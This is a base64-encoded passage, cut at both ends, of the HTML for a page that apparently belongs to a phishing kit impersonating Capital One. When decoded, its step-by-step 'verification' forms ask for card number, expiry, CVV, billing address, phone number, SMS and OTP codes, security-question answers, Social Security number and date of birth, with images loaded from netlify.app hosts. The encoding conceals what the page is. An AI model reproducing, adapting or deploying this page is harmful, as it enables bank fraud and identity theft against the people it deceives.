MjJaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNNzUuODQsMjYuMTdhMSwxLDAsMCwxLDAtMS4zOUw4MCwyMC42MmExLDEsMCwwLDEsMS4zOSwwLDEsMSwwLDAsMSwwLDEuMzhsLTQuMTYsNC4xN0ExLDEsMCwwLDEsNzUuODQsMjYuMTdaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNODAsMzMuNGExLDEsMCwwLDEtLjI2LS40NCwxLDEsMCwwLDEsLjctMS4ybDUuNjgtMS41MmExLDEsMCwwLDEsLjUxLDEuODlMODEsMzMuNjVBMSwxLDAsMCwxLDgwLDMzLjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PGcgaWQ9ImJhNWNkMDRkLWE0MGQtNDNlNy1hM2I4LWYyMzQ1ODA0MGI0ZCIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTMzLjM5LDgwYS45NC45NCwwLDAsMSwuMjUuOTRsLTEuNTEsNS42OWExLDEsMCwwLDEtMS44OS0uNTFsMS41MS01LjY4YTEsMSwwLDAsMSwxLjItLjdBMSwxLDAsMCwxLDMzLjM5LDgwWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTI2LjE1LDc1LjgzYTEsMSwwLDAsMSwwLDEuMzlMMjIsODEuMzhhMSwxLDAsMCwxLTEuMzgsMCwxLDEsMCwwLDEsMC0xLjM5bDQuMTYtNC4xNkExLDEsMCwwLDEsMjYuMTUsNzUuODNaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjIsNjguNmEuODUuODUsMCwwLDEsLjI1LjQzLDEsMSwwLDAsMS0uNjksMS4yMWwtNS42OCwxLjUyYTEsMSwwLDAsMS0uNTEtMS45TDIxLDY4LjM0QTEsMSwwLDAsMSwyMiw2OC42WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjwvZz48L3N2Zz4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94VGV4dCI+CiAgICAgICAgICAgIDxoMj5MZXQncyB2ZXJpZnkgeW91ciBDcmVkaXQvRGViaXQgQ2FyZCBJbmZvcm1hdGlvbjwvaDI+CiAgICAgICAgICAgIDxwPkFkZC9jb25maXJtIHlvdXIgY3JlZGl0L0RlYml0IENhcmQgSW5mb3JtYXRpb24gdG8gY29udGludWU8L3A+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAgIDwhLS0tLS0gc3RhcnQgRW0gZm9ybSAtLT4KICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImZvcm1Db250YWluIGZDYXJkIGhpZGUiPgoKCiAgICAgICAgPGRpdiBjbGFzcz0iaW5wQm94c2lkZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIEhvbGRlcnMgTmFtZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY05hbWUiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZCBwbGFjZWhvbGRlcj0iQ2FyZCBIb2xkZXIncyBOYW1lIj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+Q2FyZCBOdW1iZXI8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgbmFtZT0iY051bSIgcGxhY2Vob2xkZXI9IlhYWFhYWFhYWFhYWCIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIEV4cGlyYXRpb24gRGF0ZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZXhwIiBwbGFjZWhvbGRlcj0iTU0vWVkiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+Q2FyZCBDVlY8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN2IiBwbGFjZWhvbGRlcj0iQ1ZWIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgIAogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCiAgICA8ZGl2IGNsYXNzPSJ2YWxpZEJveCB2YWxpZEJveDMgaGlkZSI+CiAgICAgICAgPGRpdiBjbGFzcz0iaW1nVmEiPgogICAgICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIHZpZXdCb3g9IjAgMCAxMDAgMTAwIj48ZyBpZD0iYTM3YmY2YjAtMDNlOS00ODE4LWI0ZjMtMDU1MWNjN2ZhYTk5IiBkYXRhLW5hbWU9IkFjdGl2YXRpb24gTGF5ZXIiPjxjaXJjbGUgY3g9IjUwIiBjeT0iNTAiIHI9IjUwIiBmaWxsPSIjMjY2MDgyIi8+PHBhdGggZD0iTTkwLjksODEuMTRDODQuNTcsNzUuNSw3OCw2OS44OSw3Ni4yNyw2OC42MWEzMC44OSwzMC44OSwwLDAsMS03LjE0LDcuMjljMS4zNiwyLjExLDYuNTUsOC43OCwxMS43NSwxNS4xOUE0OS43Myw0OS43MywwLDAsMCw5MC45LDgxLjE0WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjMWFiN2Q3Ii8+PHBhdGggZD0iTTUxLDIwLjEyQTMwLjg4LDMwLjg4LDAsMSwwLDgxLjg4LDUxLDMwLjg4LDMwLjg4LDAsMCwwLDUxLDIwLjEyWk01MSw3NkEyNSwyNSwwLDEsMSw3Niw1MSwyNSwyNSwwLDAsMSw1MSw3NloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2ZmZiIvPjxwYXRoIGQ9Ik02OC4xLDQzLjY0YTEuNDgsMS40OCwwLDAsMS0xLjMxLS44QTE3Ljc0LDE3Ljc0LDAsMCwwLDUxLDMzLjIyYTE4LjQ4LDE4LjQ4LDAsMCwwLTMuMzIuMzEsMS40NywxLjQ3LDAsMCwxLS41NC0yLjg5QTIwLjc0LDIwLjc0LDAsMCwxLDY5LjQxLDQxLjQ5YTEuNDcsMS40NywwLDAsMS0uNjMsMkExLjUyLDEuNTIsMCwwLDEsNjguMSw0My42NFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iIzg2ZDVlZCIvPjxwYXRoIGQ9Ik03Ny4xMSw3Mi4xN2EuNzMuNzMsMCwwLDAtMSwuMTIuNzUuNzUsMCwwLDAsLjEyLDFjMi41NywyLDcuMSw2LjA5LDEyLjEzLDEwLjg5bDAsMHEuNS0uNTYsMS0xLjExQzg0LjI4LDc4LjMzLDc5LjcxLDc0LjIxLDc3LjExLDcyLjE3WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjYzdlOWYzIi8+PGcgaWQ9ImFlMTBkYzRhLTI5MzAtNDM4Ni1iODY2LWExNDBkNWRiY2JjNiIgZGF0YS1uYW1lPSIzOSI+PHBhdGggZD0iTTY4LjYsMjJhMSwxLDAsMCwxLS4yNS0uOTRsMS41MS01LjY5YTEsMSwwLDAsMSwxLjkuNTFsLTEuNTIsNS42OGExLDEsMCwwLDEtMS4yLjY5QS45Mi45MiwwLDAsMSw2OC42LDIyWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTc1Ljg0LDI2LjE3YTEsMSwwLDAsMSwwLTEuMzlMODAsMjAuNjJhMSwxLDAsMCwxLDEuMzksMCwxLDEsMCwwLDEsMCwxLjM4bC00LjE2LDQuMTdBMSwxLDAsMCwxLDc1Ljg0LDI2LjE3WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTgwLDMzLjRhMSwxLDAsMCwxLS4yNi0uNDQsMSwxLDAsMCwxLC43LTEuMmw1LjY4LTEuNTJhMSwxLDAsMCwxLC41MSwxLjg5TDgxLDMzLjY1QTEsMSwwLDAsMSw4MCwzMy40WiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PC9nPjxnIGlkPSJiYTVjZDA0ZC1hNDBkLTQzZTctYTNiOC1mMjM0NTgwNDBiNGQiIGRhdGEtbmFtZT0iMzkiPjxwYXRoIGQ9Ik0zMy4zOSw4MGEuOTQuOTQsMCwwLDEsLjI1Ljk0bC0xLjUxLDUuNjlhMSwxLDAsMCwxLTEuODktLjUxbDEuNTEtNS42OGExLDEsMCwwLDEsMS4yLS43QTEsMSwwLDAsMSwzMy4zOSw4MFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik0yNi4xNSw3NS44M2ExLDEsMCwwLDEsMCwxLjM5TDIyLDgxLjM4YTEsMSwwLDAsMS0xLjM4LDAsMSwxLDAsMCwxLDAtMS4zOWw0LjE2LTQuMTZBMSwxLDAsMCwxLDI2LjE1LDc1LjgzWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEgLTEpIiBmaWxsPSIjZjhjNjEyIi8+PHBhdGggZD0iTTIyLDY4LjZhLjg1Ljg1LDAsMCwxLC4yNS40MywxLDEsMCwwLDEtLjY5LDEuMjFsLTUuNjgsMS41MmExLDEsMCwwLDEtLjUxLTEuOUwyMSw2OC4zNEExLDEsMCwwLDEsMjIsNjguNloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjwvZz48L2c+PC9zdmc+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImJveFRleHQiPgogICAgICAgICAgICA8aDI+TGV0J3MgdmVyaWZ5IHlvdXIgYmlsbGluZyBJbmZvcm1hdGlvbjwvaDI+CiAgICAgICAgICAgIDxwPkVudGVyIHlvdXIgYmlsbGluZyBpbmZvcm1hdGlvbiwgdG8gY29udGludWUgdmVyaWZpY2F0aW9uLjwvcD4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgICAgPCEtLS0tLSBzdGFydCBFbSBmb3JtIC0tPgogICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iZm9ybUNvbnRhaW4gZkJpbGwgaGlkZSIgPgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZHJlcyIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkIHBsYWNlaG9sZGVyPSJBZGRyZXNzIj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+WmlwIENvZGU8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InppcCIgcGxhY2Vob2xkZXI9IlppcCBDb2RlIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPk1vYmlsZSBQaG9uZSBOdW1iZXIgZm9yIGZpbmFsIHNtcyB2ZXJpZmljYXRpb248L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBob25lIiBwbGFjZWhvbGRlcj0iTW9iaWxlIFBob25lIE51bWJlciIgcmVxdWlyZWQ+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgPGJ1dHRvbj5Db250aW51ZTwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CiAgICA8L2Zvcm0+CgogICAgPCEtLS0tLSBlbmQgRW0gZm9ybSAtLT4KCgoKICAgIDxkaXYgY2xhc3M9InZhbGlkQm94IHZhbGlkQm94NCBoaWRlIj4KICAgICAgICAKICAgICAgICA8ZGl2IGNsYXNzPSJib3hUZXh0Ij4KICAgICAgICAgICAgPGgyPlNNUyBQaG9uZSBWZXJpZmljYXRpb248L2gyPgogICAgICAgICAgICA8cD5FbnRlciB0aGUgU01TIGNvZGUgdGhhdCB3YXMgc2VudCB0byB5b3VyIE1vYmlsZSBOdW1iZXIuPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICA8IS0tLS0tIHN0YXJ0IEVtIGZvcm0gLS0+CiAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJmb3JtQ29udGFpbiBvdENhcmQgaGlkZSI+CgogICAgICAgIDxkaXYgY2xhc3M9ImlucEJveHNpZGUiPiAgICAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3JCb3g0IGhpZGUiPgogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTNweDsgY29sb3I6ICNkZjEzMWQ7IGZvbnQtd2VpZ2h0OiA2MDA7IGRpc3BsYXk6IGJsb2NrOyI+VGhlIFNNUyBDb2RlIFlvdSBFbnRlciBpcyBJbmNvcnJlY3QsIFBsZWFzZSBFbnRlciBUaGUgTmV3IFNNUyBDb2RlIFNlbnQgdG8gWW91ciBNb2JpbGUgTnVtYmVyLjwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+ICAgICAgICAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlNNUyBDb2RlIDxzcGFuIHN0eWxlPSJjb2xvcjogI0U1MDkxNDsgZm9udC1zaXplOiAxN3B4OyI+Kjwvc3Bhbj4gKCBQbGVhc2UgTm90ZSB0aGF0IHRoZSBjb2RlIG1pZ2h0IGJlIGEgbGl0dGxlIGJpdCBkZWxheSBkdWUgdG8geW91ciBtb2JpbGUgbmV0d29yaykgPC9sYWJlbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb2RlIiBhdXRvY29tcGxldGU9Im9mZiIgcmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGVyIENvZGUiPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICA8YnV0dG9uPkNvbnRpbnVlPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKCiAgICAgIDxkaXYgY2xhc3M9InZhbGlkQm94IHZhbGlkQm94NSBoaWRlIj4KICAgICAgICAKICAgICAgICA8ZGl2IGNsYXNzPSJib3hUZXh0Ij4KICAgICAgICAgICAgPGgyPkFuc3dlciBTZWN1cml0eSBRdWVzdGlvbjwvaDI+CiAgICAgICAgICAgIDxwPlBsZWFzZSBhbnN3ZXIgdGhlIHNlY3VyaXR5IHF1ZXN0aW9uIHRvIGVuc3VyZSA8YnIvPiB5b3UgIGFyZSB0aGUgb25lIGFjZXNzaW5nIHRoZSBhY2NvdW50LiA8L3A+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAgIDwhLS0tLS0gc3RhcnQgRW0gZm9ybSAtLT4KICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImZvcm1Db250YWluIHF1ZXN0Q2FyZCBoaWRlIj4KCiAgICAgICAgPGRpdiBjbGFzcz0iaW1nUXVlc3QiPgogICAgICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ib3htYXAxLm5ldGxpZnkuYXBwL3F1ZXN0LnBuZyIgYWx0PSJxdWVzdDEiPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImlucEJveHNpZGUiPiAgICAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3JCb3g0IGVyckJveDU2IGhpZGUiPgogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTNweDsgY29sb3I6ICNkZjEzMWQ7IGZvbnQtd2VpZ2h0OiA2MDA7IGRpc3BsYXk6IGJsb2NrOyI+SW5jb3JyZWN0IGFuc3dlciwgdHJ5IGFnYWluPC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4gICAgICAgIAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBTaWRlIj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiIgY2xhc3M9InF1ZXN0VGV4dCI+PC9sYWJlbD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtbUJ2IiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9Im1tQlZhbHVlIiByZXF1aXJlZCBwbGFjZWhvbGRlcj0iRW50ZXIgWW91ciBBbnN3ZXIiPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICA8YnV0dG9uPkNvbnRpbnVlPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9mb3JtPgoKICAgIDwhLS0tLS0gZW5kIEVtIGZvcm0gLS0+CgoKICAgICAgPGRpdiBjbGFzcz0idmFsaWRCb3ggdmFsaWRCb3g2IGhpZGUiPgogICAgICAgIDxkaXYgY2xhc3M9ImltZ1ZhIj4KICAgICAgICAgICAgICAgPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+PGcgaWQ9ImEzN2JmNmIwLTAzZTktNDgxOC1iNGYzLTA1NTFjYzdmYWE5OSIgZGF0YS1uYW1lPSJBY3RpdmF0aW9uIExheWVyIj48Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCIgZmlsbD0iIzI2NjA4MiIvPjxwYXRoIGQ9Ik05MC45LDgxLjE0Qzg0LjU3LDc1LjUsNzgsNjkuODksNzYuMjcsNjguNjFhMzAuODksMzAuODksMCwwLDEtNy4xNCw3LjI5YzEuMzYsMi4xMSw2LjU1LDguNzgsMTEuNzUsMTUuMTlBNDkuNzMsNDkuNzMsMCwwLDAsOTAuOSw4MS4xNFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iIzFhYjdkNyIvPjxwYXRoIGQ9Ik01MSwyMC4xMkEzMC44OCwzMC44OCwwLDEsMCw4MS44OCw1MSwzMC44OCwzMC44OCwwLDAsMCw1MSwyMC4xMlpNNTEsNzZBMjUsMjUsMCwxLDEsNzYsNTEsMjUsMjUsMCwwLDEsNTEsNzZaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmZmYiLz48cGF0aCBkPSJNNjguMSw0My42NGExLjQ4LDEuNDgsMCwwLDEtMS4zMS0uOEExNy43NCwxNy43NCwwLDAsMCw1MSwzMy4yMmExOC40OCwxOC40OCwwLDAsMC0zLjMyLjMxLDEuNDcsMS40NywwLDAsMS0uNTQtMi44OUEyMC43NCwyMC43NCwwLDAsMSw2OS40MSw0MS40OWExLjQ3LDEuNDcsMCwwLDEtLjYzLDJBMS41MiwxLjUyLDAsMCwxLDY4LjEsNDMuNjRaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiM4NmQ1ZWQiLz48cGF0aCBkPSJNNzcuMTEsNzIuMTdhLjczLjczLDAsMCwwLTEsLjEyLjc1Ljc1LDAsMCwwLC4xMiwxYzIuNTcsMiw3LjEsNi4wOSwxMi4xMywxMC44OWwwLDBxLjUtLjU2LDEtMS4xMUM4NC4yOCw3OC4zMyw3OS43MSw3NC4yMSw3Ny4xMSw3Mi4xN1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2M3ZTlmMyIvPjxnIGlkPSJhZTEwZGM0YS0yOTMwLTQzODYtYjg2Ni1hMTQwZDVkYmNiYzYiIGRhdGEtbmFtZT0iMzkiPjxwYXRoIGQ9Ik02OC42LDIyYTEsMSwwLDAsMS0uMjUtLjk0bDEuNTEtNS42OWExLDEsMCwwLDEsMS45LjUxbC0xLjUyLDUuNjhhMSwxLDAsMCwxLTEuMi42OUEuOTIuOTIsMCwwLDEsNjguNiwyMloiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik03NS44NCwyNi4xN2ExLDEsMCwwLDEsMC0xLjM5TDgwLDIwLjYyYTEsMSwwLDAsMSwxLjM5LDAsMSwxLDAsMCwxLDAsMS4zOGwtNC4xNiw0LjE3QTEsMSwwLDAsMSw3NS44NCwyNi4xN1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik04MCwzMy40YTEsMSwwLDAsMS0uMjYtLjQ0LDEsMSwwLDAsMSwuNy0xLjJsNS42OC0xLjUyYTEsMSwwLDAsMSwuNTEsMS44OUw4MSwzMy42NUExLDEsMCwwLDEsODAsMzMuNFoiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjwvZz48ZyBpZD0iYmE1Y2QwNGQtYTQwZC00M2U3LWEzYjgtZjIzNDU4MDQwYjRkIiBkYXRhLW5hbWU9IjM5Ij48cGF0aCBkPSJNMzMuMzksODBhLjk0Ljk0LDAsMCwxLC4yNS45NGwtMS41MSw1LjY5YTEsMSwwLDAsMS0xLjg5LS41MWwxLjUxLTUuNjhhMSwxLDAsMCwxLDEuMi0uN0ExLDEsMCwwLDEsMzMuMzksODBaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48cGF0aCBkPSJNMjYuMTUsNzUuODNhMSwxLDAsMCwxLDAsMS4zOUwyMiw4MS4zOGExLDEsMCwwLDEtMS4zOCwwLDEsMSwwLDAsMSwwLTEuMzlsNC4xNi00LjE2QTEsMSwwLDAsMSwyNi4xNSw3NS44M1oiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xIC0xKSIgZmlsbD0iI2Y4YzYxMiIvPjxwYXRoIGQ9Ik0yMiw2OC42YS44NS44NSwwLDAsMSwuMjUuNDMsMSwxLDAsMCwxLS42OSwxLjIxbC01LjY4LDEuNTJhMSwxLDAsMCwxLS41MS0xLjlMMjEsNjguMzRBMSwxLDAsMCwxLDIyLDY4LjZaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMSAtMSkiIGZpbGw9IiNmOGM2MTIiLz48L2c+PC9nPjwvc3ZnPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJib3hUZXh0Ij4KICAgICAgICAgICAgPGgyPkZpcnN0LCBsZXQncyBmaW5kIHlvdXIgdXNlcm5hbWU8L2gyPgogICAgICAgICAgICA8cD5UaGlzIGluZm9ybWF0aW9uIHdpbGwgaGVscCB1cyBsb2NhdGUgeW91ciBDYXBpdGFsIE9uZSBvbmxpbmUgYWNjb3VudChzKS4gPGJyIC8+IElmIG5lZWRlZCwgeW91IGNhbiB1cGRhdGUgeW91ciBwYXNzd29yZCBhZnRlciBhY2NvdW50IGxvb2t1cC48L3A+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICAgIDwhLS0tLS0gc3RhcnQgRW0gZm9ybSAtLT4KICAgIDxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImZvcm1Db250YWluIHJlc0NhcmQgaGlkZSI+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJpbnBCb3hzaWRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkxhc3QgTmFtZTwvbGFiZWw+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG5hbWUiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZCA+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlNvY2lhbCBTZWN1cml0eSBOdW1iZXI8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNuIiBwbGFjZWhvbGRlcj0iMDAwMDAwMDAwIiByZXF1aXJlZD4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wU2lkZSI+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkRhdGUgb2YgQmlydGg8L2xhYmVsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRvYiIgcGxhY2Vob2xkZXI9Im1tL2RkL3l5eXkiIHJlcXVpcmVkPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgIAogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucFNpZGUiPgogICAgICAgICAgICAgICA8YnV0dG9uPkNvbnRpbnVlPC9idXR0b24+CiAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgCiAgICAgICAgPC9kaXY+CiAgICA8L2Zvcm0+CgoKCiAgICA8ZGl2IGNsYXNzPSJib3hPdENvbnRhaW5lciBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb25Gb3JtIj4KCiAgICAgICAgIDxkaXYgY2xhc3M9Im1haW51dCI+CiAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRUZXh0Q29uIj4KICAgICAgICAgICAgICAgIDxoMj5PVFAgQ29kZSBWZXJpZmljYXRpb248L2gyPgogICAgICAgICAgICAgICAgPHA+RW50ZXIgdGhlIGNvZGUgdGhhdCB3YXMgc2VudCB0byB5b3UuPC9wPgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJvdEVycm9yIGhpZGUiPgogICAgICAgICAgICAgICAgPHNwYW4+SW52YWxpZCBjb2RlIGVudGVyIHZhbGlkIGNvZGU8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdEZvcm0xIj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBJbmZvIj4KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVudGVyIENvZGUgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYzAwYjE0OyI+Kjwvc3Bhbj48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgY29kZSIgbmFtZT0iY29kZTMiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBJbmZvIj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uPlZhbGlkYXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxpbWcgaWQ9ImJnMiIgc3JjPSJodHRwczovL2FwcHRhc2sxLm5ldGxp